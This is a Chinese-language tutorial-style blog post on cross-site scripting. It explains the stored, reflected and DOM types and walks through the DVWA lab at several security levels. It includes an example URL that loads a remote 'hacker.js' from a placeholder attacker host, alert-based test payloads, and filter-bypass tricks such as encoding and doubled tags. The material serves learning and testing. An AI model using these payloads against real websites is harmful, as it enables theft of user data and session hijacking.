XSS漏洞
XSS简介
XSS跨站脚本攻击(Cross Site Scripting),是将Java script代码插入web页面中,之后当用户浏览页面时, 会执行嵌套在web页面里面的Java script代码,从而达到攻击用户的目的。为了跟HTML里面的层叠样式表(CSS ,Cascading Style Sheets)作区分,所以叫作XSS.
XSS本质
恶意代码未经过滤,与网站正常的代码混在一起,浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下,由于输入的限制,注入的恶意脚本较短,但可以通过引入外部的脚本,并有浏览器执行,来完成比较复杂的攻击策略
理解:
XSS攻击和sql注入还蛮像的,都是注入恶意语句,但是xss是针对网站的
注入方式
- 来自用户的 UGC 信息//UGC:UGC 互联网术语,全称为User Generated Content,也就是用户生成内容,即用户原创内容
- 来自第三方的链接
- URL 参数
- POST 参数
- Referer (可能来自不可信的来源)
- Cookie (可能来自其他子域注入)
分类
根据攻击的来源,XSS攻击可以分为存储型,反射性和DOM型三种
类型 | 存储区 | 插入点 |
---|---|---|
存储型XSS | 后端数据库 | HTML |
反射型XSS | URL | HTML |
DOM型XSS | 后端数据库/前段存储/URL | 前段JavaScript |
参考:https://tech.meituan.com/2018/09/27/fe-security.html
反射型XSS攻击
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索,跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往会结合多种手段诱导用户点击。比如下面的URL:
1 | http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>" 或者 http://localhost/test.php?param=<script>alert(/xss/)</script> |
POST的内容也可以触发反射型XSS,只不过它的触发条件比较苛刻(构建表单提交页面,并引导用户点击),所以非常少见(但是不是可以)
攻击步骤
1.攻击者构造出特殊的URL,其中包含恶意代码.
2.用户打开有恶意代码的URL时,网站服务器端将恶意代码从URL取出,拼接在HTML返回给浏览器.
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也会被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
注意:Chrome和Safari能够检测到url上的xss攻击,将网页拦截掉,但是其他浏览器不行,如IE和Firefox。
图片来源:https://www.cnblogs.com/54chensongxia/p/11643787.html
存储型XSS攻击
恶意脚本永久存储在目标服务器上,当浏览器请求数据时,脚本从服务器传回并执行,影响范围比反射型和DOM型更大,存储型XSS攻击的原因仍然是没有做好数据过滤:前端提交数据至服务器端时,没有做好过滤;服务端在按受到数据时,在存储之前,没有做过滤;前端从服务器端请求到数据,没有过滤输出。
攻击步骤
1.攻击者将恶意代码提交到目标网站的数据库中。
2.用户打开目标网站时,网站服务端将恶意代码从数据库中取出,拼接在HTML中返回给浏览器。
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作.
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖,商品评论,用户私信等。
DOM型XSS攻击
DOM型XSS攻击,实际上就是前端javascript代码不够严谨,把不可信的内容插入到了页面,在使用.innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心,不要把不可信的数据作为HTML插入到页面上,尽量使用.innerText、.textContent、.setAttribut()等.
攻击步骤
1.攻击者构造出特殊数据,其中包含恶意代码。
2.用户浏览器执行了恶意代码
3.恶意窃取用户数据并发送到攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作.
tipDOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端javascript自身的安全漏洞.
参考来源:https://www.cnblogs.com/54chensongxia/p/11643787.html
学习完理论知识就可以开始实践了
实践
反射型:
根据前面的介绍我们知道,反射型XSS主要是构造于URL上(GET类型)以DVWA为例
我们查看页面源码
当我们输入
1 | <img src=1 onerror=alert(/xss/)/> |
1 | HTML <script> 元素用于嵌入或引用可执行脚本。这通常用作嵌入或者指向 JavaScript 代码。 |
参考:https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/script
以后,他在浏览器被渲染的时候,执行了 alert()函数后便会弹框
说明了,我们的危险语句在网页中发挥了作用
存储型:
存储型是指我们输入的代码被存储到数据库中,只要有用户点击该URL(产生查询数据库的操作),xss语句即发挥作用
当我们从其他页面点回来这个页面,这个窗口就会马上跳出,为什么呢?
就如前面所说的,这个页面要展现留言,肯定是调用了查询数据库的功能,并将其显示在网页上,而我们之前输出的语句因为也被存储在同一个数据库中,被查询出来显示在网页上,就会执行其中的html语句,也就是这个弹窗
DOM型:
DOM 操作:可以简单理解成“元素操作“,类似于你要更换背景颜色,更换语言,或者删除
可以看到这里做了一个更换语言的代码,将原本的语言替换成我们更换的语言,我们在url上插入恶意语句,单击替换即可看到页面弹出框,为什么会弹出框,就是因为我们的script语句被html识别并执行了
整理XSS常用语句及编码绕过
常用的测试语句有:
1 | <script>alert(1)</script> |
关于svg(是一种图片格式)在HTML中可以使用的其他标签https://www.runoob.com/svg/svg-inhtml.html
1 | <a>标签定义超链接,用于从一张页面链接到另一张页面。 |
绕过姿势:
这里有必要再了解一下浏览器的解码与编码(看博客http原理)
JS编码:
JS提供了四种字符编码的策略:
1.三个八进制数字 如果个数不够,在前面补0 比如e的编码为\145
2.两个十六进制数字 同上 \x65
3.四个十六进制数字 \u0065
4.对于一些控制字符,使用特殊的C类型的转义风格(如\n和\r)
1 | <script>\u0061\u006c\u0065\u0072\u0074(10);</script> |
HTML实体编码
命名实体:以&开头,以分号结尾,例如<的编码为 “<”
字符编码: 十进制,十六进制ASCII码或Unicode字符编码,样式为”&#数值”
例如”<”可以编码为”<
“和<
1 | <a |
URL编码
1 | <a |
实战——dvwa
medium
中级阶段是过滤了<script>
标签
这里有两种绕过方法:1.使用其他类型的标签,例如<img>
2.复写标签,跟sql注入的绕过一样,因为他这里也是值替换一次
high
这里就是完全过滤script,复写也没用,所以就是用其他类型的标签进行绕过就行了
impossible
记得们之前提过,控制字符被转化为实体编码,被解码后会被当做普通字符,这里将所有的控制字符都转码了,所以我们输入的语句就都不会被执行了。